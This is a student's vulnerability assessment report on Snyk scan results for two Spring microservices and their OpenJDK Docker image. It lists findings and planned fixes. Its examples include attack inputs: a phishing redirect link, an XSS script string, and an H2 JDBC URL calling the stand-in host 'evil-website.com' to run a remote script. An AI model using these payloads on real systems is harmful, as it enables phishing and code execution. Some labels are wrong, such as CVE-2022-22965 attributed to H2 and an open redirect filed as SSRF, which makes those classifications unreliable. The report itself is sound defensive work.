Vulnerability Assessment Report

Contents

Executive Summary

This report is conducted based on the results of the Snyk scans and analysis in my two GitHub repositories. It is best to work on the vulnerability findings as soon as possible to prevent any security risks. Because of time constrains and the current stage of the project, some vulnerabilities related to JDK and Docker image dependencies will not be addressed immediately.

Introduction

This is a report of the analysis of the security vulnerabilities, that have been detected in my Maven dependencies and Docker images of the two microservices. The idea is to identify and put a priority on the vulnerabilities that could be a future security risk, and to recommend prevention strategies.

N.B. The screenshots of the Snyk analysis is uploaded to the evidence folder in my Portfolio tool.

Vulnerability Analysis

Project: movimingle-favorites-management-service

1. Open Redirect Vulnerability in Spring Web

Open Redirect

File: pom.xml

Affected Library: Spring Web (spring-web)

Introduced Through: org.springframework:spring-web@3.2.3

Fixed in Version: 5.3.34

Description	Impact	OWASP Top 10 Category	Recommendation
The vulnerability occurs because of a lack of validation of redirect URLs, which could be exploited to redirect users to	Medium risk of phishing attacks leading to potential information theft.	A10:2021 - Server-Side Request Forgery (SSRF)	Update to the specified fixed versions. Implement strong validation checks for all URL parameters to prevent unauthorized redirects.

malicious websites.			

Example: A feature in the application redirects users to a URL specified in the ‘redirect’ query parameter. An attacker crafts a link with the malicious URL ‘http://example.com/login?redirect=http://malicious.com’ that appears legitimate but redirects the victim to a phishing site after logging in.

2. Cross-Site Scripting (XSS) Vulnerability

File: ‘SendMessageController.java’

Description	Impact	OWASP Top 10 Category	Recommendation
Unsanitized input from an HTTP parameter is directly used in generating HTML output, leading to XSS.	High	A03:2021 - Injection	Sanitize all user inputs used in HTML output. Implement content security policies that restrict the loading of resources to trusted sources only. Utilize frameworks that automatically handle XSS protection.

Example: The sending of messages is not checking the user input for malicious strings, which may lead to an attacker sending a message containing ‘<script>alert('Hacked');</script’, which can execute wjen it is viewed by other users. In this particular case, however, the endpoint for sending a message is used only for the development phase and to test the connection between the services and message broker. This controller will be removed before the deployment phase.

Project: movimingle-voting-service

1. H2 Database Engine Vulnerability

CVE-2022-22965 (RCE)

File: pom.xml

Affected Library: H2 Database Engine (com.h2database:h2)

Introduced Through: com.h2database:h2@2.2.224

Fixed in Version: Not specified

Description	Impact	OWASP Top 10 Category	Recommendation
The vulnerability allows for remote code execution when performing JDBC operations with a maliciously crafted URL.	High	A01:2021 - Broken Access Control	Consider switching to a different database engine or apply strict access controls and input validations. Monitor the H2 Database Engine repositories for updates or patches.

Example: An attacker alters the JDBC URL in the application's configuration file to 'jdbc:h2:tcp://evil-website.com/~/test;TRACE_LEVEL_FILE=3;', causing the database to execute a remote script whenever it starts up. This, just as the message controller, is a part of the application which will exist only in the testing phase and will not be part once it enters the deployment phase.

3. Cross-Site Request Forgery (CSRF) Vulnerability

File: src/main/java/com/backend/votingservice/controller/PartyController.java

Description	Impact	OWASP Top 10 Category	Recommendation
The application does not implement CSRF protection for its forms, allowing attackers to submit unauthorized requests on behalf of a logged-in user.	Medium	A05:2021 - Security Misconfiguration	Implement CSRF tokens in the application forms. Enable CSRF protection provided by Spring Security in the security configurations.

Dockerfile Vulnerabilities

The following vulnerabilities were identified in the Docker image used for these projects. Due to time constraints, changes to the JDK or updating the dependencies will not be implemented immediately. These vulnerabilities are primarily due to the version of the JDK used and the nature of OpenJDK images, which often contain vulnerabilities.

dpkg - Directory Traversal

Base Image: openjdk:17-jdk-slim

Description	Impact	OWASP Top 10 Category	Recommendation
This vulnerability allows for directory traversal attacks, which can potentially lead to unauthorized file access.	Critical	A01:2021 - Broken Access Control	Plan for updating the base image post-semester to a version without this vulnerability. Monitor for updates and patches.

openssl/libssl1.1 - OS Command Injection

Base Image: openjdk:17-jdk-slim

Description	Impact	OWASP Top 10 Category	Recommendation
The vulnerability allows for OS command injection, which could enable an attacker to execute arbitrary commands.	Critical	A03:2021 - Injection	Plan for updating the base image post-semester to a version without this vulnerability. Monitor for updates and patches.

zlib/zlib1g - Out-of-bounds Write

Base Image: openjdk:17-jdk-slim

Description	Impact	OWASP Top 10 Category	Recommendation
This vulnerability can lead to out-of-bounds write, potentially allowing for code execution or crashing the application.	Critical	A03:2021 - Injection	Plan for updating the base image post-semester to a version without this vulnerability. Monitor for updates and patches.

libtasn1-6 - Off-by-one Error

Base Image: openjdk:17-jdk-slim

Description	Impact	OWASP Top 10 Category	Recommendation
An off-by-one error that could	Critical	A03:2021 - Injection	Plan for updating the base image post-

result in buffer overflows, leading to potential code execution.			semester to a version without this vulnerability. Monitor for updates and patches.

pcre2/libpcre2-8-0 - Out-of-bounds Read

Base Image: openjdk:17-jdk-slim

Description	Impact	OWASP Top 10 Category	Recommendation
This vulnerability can cause out-of-bounds read, potentially leading to information disclosure or crashes.	Critical	A03:2021 - Injection	Plan for updating the base image post-semester to a version without this vulnerability. Monitor for updates and patches.

Recommendations

Immediate Actions:

1. Update Spring Web MVC and Spring Web Dependencies.

Post-Semester Actions:

1. Plan for Updating the JDK and Docker Image Dependencies: Address the Dockerfile vulnerabilities by upgrading the base image and dependencies.
2. Implement CSRF Protection and Input Sanitization: Add CSRF tokens to forms and sanitize all inputs to prevent XSS attacks.
3. Review and Validate URL Redirections: Ensure all URL parameters used for redirections are validated and sanitized.
4. Regularly Scan Dependencies: Continuously monitor for new vulnerabilities in project dependencies.
5. Implement a Security Review Process: Regularly review and update security configurations and dependency versions.

Conclusion

All of the mentioned vulnerabilities require action for prevention as soon as possible, both the Maven dependencies and the Docker images. For now, I will focus on the easier to fix changes, like updating the dependencies, and the vulnerabilities related to the openjdk image will be left like that until the end of the semester, because of the risk of costing too much time in the end of the semester.

This comprehensive assessment highlights the need for continuous monitoring and timely updates to maintain a secure development environment.